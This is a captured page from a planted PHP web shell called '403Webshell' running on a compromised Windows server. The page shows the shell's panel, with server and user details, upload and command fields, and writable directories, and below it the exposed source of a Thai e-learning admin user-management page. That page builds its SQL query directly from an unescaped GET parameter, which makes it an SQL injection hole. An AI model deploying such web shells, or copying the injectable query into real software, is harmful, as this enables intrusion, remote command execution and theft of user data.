403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/elearning/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/elearning/admin//manage_users_c.php
<?php
require '../configs/app_top_admin.php';
if (!is_admin_logged_in()) {
  redirect(generate_admin_link("login"));
  exit;
}

$title = "จัดการผู้ใช้";
$user_class = $_GET['user_class'];
$user_room = $_GET['totalroom'];

$sql1 = "select count(*) as count FROM " . TBL_USERS . " WHERE `user_class` LIKE '%$user_class%' ";
try {
  $stmt = $DB->prepare($sql1);
  $stmt->execute();
  $results = $stmt->fetchAll();
  $total = $results[0]["count"];
  $pagination = new Pagination($total, $_GET["pagenum"], 60);
  $total_pages = $pagination->total_pages();

  if ($total_pages > 0) {
    $sql2 = "select `date_joined`, `user_id`, `user_fullname`,`user_email`, `user_class` ,
	 `number_no`"
            . "FROM " . TBL_USERS . " WHERE `user_class` LIKE '%$user_class%' ORDER BY user_class,user_id ASC "
            . "LIMIT " . $pagination->get_lower_limit() . " , " . 60 . "";

    $stmt = $DB->prepare($sql2);
    $stmt->execute();
    $results = $stmt->fetchAll();
  }
} catch (Exception $ex) {
  echo $ex->getMessage();
}


include './includes/header.php';
?>
    <!-- GLOBAL STYLES -->
    <link rel="stylesheet" href="assets/plugins/bootstrap/css/bootstrap.css" />
    <link rel="stylesheet" href="assets/css/main.css" />
    <link rel="stylesheet" href="assets/css/theme.css" />
    <link rel="stylesheet" href="assets/css/MoneAdmin.css" />
    <link rel="stylesheet" href="assets/plugins/Font-Awesome/css/font-awesome.css" />
    <!--END GLOBAL STYLES -->
    <?php if ($ERROR_TYPE <> "") { ?>
  <div class="col-12">
    <div class="alert alert-<?php echo $ERROR_TYPE; ?>">
      <button data-dismiss="alert" class="close" type="button">×</button>
  <?php echo $ERROR_MSG; ?>
    </div>
  </div>
<?php } ?>
<div class="clearfix"></div>
<div class="row">
  <div class="col-12">
<a href="manage_users_import.php"><button class="btn btn-sm btn-success" type="button"><span class="glyphicon glyphicon-file"></span> นำเข้า Excel</button></a>
<a href="Import_Excel2007/myData.xlsx"><button class="btn btn-sm btn-info" type="button"><span class="glyphicon glyphicon-download-alt"></span> Template Excel</button></a>&nbsp;

    <div class="panel panel-warning">
      <div class="panel-heading"><span class="glyphicon glyphicon-cog"></span> <?php echo $title; ?></div>

      <div class="panel-body">
        <div class="margin10">

          <div class="padding5 clearfix"></div>
<?php if ($total_pages > 0) { ?>

            <table class="table table-hover table-datatable table-striped table-bordered">
              <thead>
                <tr>
                  <th style="text-align: left;">เลขที่</th>
                  <th style="text-align: left;">ชื่อ-นามสกุล</th>		  
                  <th style="text-align: left;">เลขประจำตัว</th>
                  <th style="text-align: center;">ชั้น</th>
                  <th style="text-align: left;">วันที่สมัคร</th>
                  <th style="text-align: center;">จัดการ</th>
                </tr>
              </thead>
              <tfoot>
                <tr>
                  <th style="text-align: left;">เลขที่</th>			
                  <th style="text-align: left;">ชื่อ-นามสกุล</th>
                  <th style="text-align: left;">เลขประจำตัว</th>
                  <th style="text-align: center;">ชั้น</th>
                  <th style="text-align: left;">วันที่สมัคร</th>
                  <th style="text-align: center;">จัดการ</th>
				</tr>
              </tfoot>
              <tbody>
  <?php foreach ($results as $r) { ?>
                  <tr>
                    <td style="text-align: left;"><?php echo safe_output($r["number_no"]) ?></td>
				  
                    <td style="text-align: left;"><?php echo safe_output($r["user_fullname"]) ?></td>
                    <td style="text-align: left;"><?php echo safe_output($r["user_email"]) ?></td>
                    <td style="text-align: center;"><?php echo safe_output($r["user_class"]) ?></td>
                    <td style="text-align: left;"><?php echo date("jS F Y, h:i:s A", strtotime(safe_output($r["date_joined"]))); ?>
                    <td style="text-align: center;">

 <a href="<?php echo generate_admin_link("ch_pass", "mode=edit&id=" . ($r["user_id"]) . "&" . get_all_get_params(array("id"))); ?>">
                          <button class="btn btn-sm btn-warning" type="button"><span class="glyphicon glyphicon-edit"></span> แก้ไข</button>
                        </a>
						

   <a data-href="<?php echo generate_admin_link("user_auth", "mode=delete&id=" . ($r["user_id"]) . "&" . get_all_get_params(array("id"))); ?>" data-toggle="modal" data-target="#confirm-delete"  href="javascript:void(0);">
    <button class="btn btn-sm btn-danger" type="button"><span class="glyphicon glyphicon-trash"></span> ลบ</button>
  </a>					
					
					</td>

					</td>
                  </tr>
  <?php } ?>
              </tbody>
            </table>
			

            <div class="col-12 center">
              <ul class="pagination">
  <?php $pagination->display_links($PAGE_NAME); ?>
              </ul>
            </div>

            <div class="modal fade" id="confirm-delete" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
              <div class="modal-dialog" style="width: 530px;">
                <div class="modal-content">
                  <div class="modal-header">
                    <h4>ลบผู้เข้าสอบ</h4>
                  </div>
                  <div class="modal-body">
                    คุณแน่ใจหรือที่จะลบผู้ใช้คนนี้ ? 			
                  </div>
                  <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">ยกเลิก</button>
                    <a href="#" class="btn btn-danger danger">ลบ</a>
                  </div>
                </div>
              </div>
            </div>
<?php } else { ?>
            <h3>ไม่พบข้อมูล.</h3>
<?php } ?>


        </div>
      </div>
    </div>
  </div>
</div>
<script>
  jQuery(function() {
    jQuery('#confirm-delete').on('show.bs.modal', function(e) {
      jQuery(this).find('.danger').attr('href', jQuery(e.relatedTarget).data('href'));
    });
  });
</script>
<?php
include './includes/footer.php';
require '../configs/app_bottom.php';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit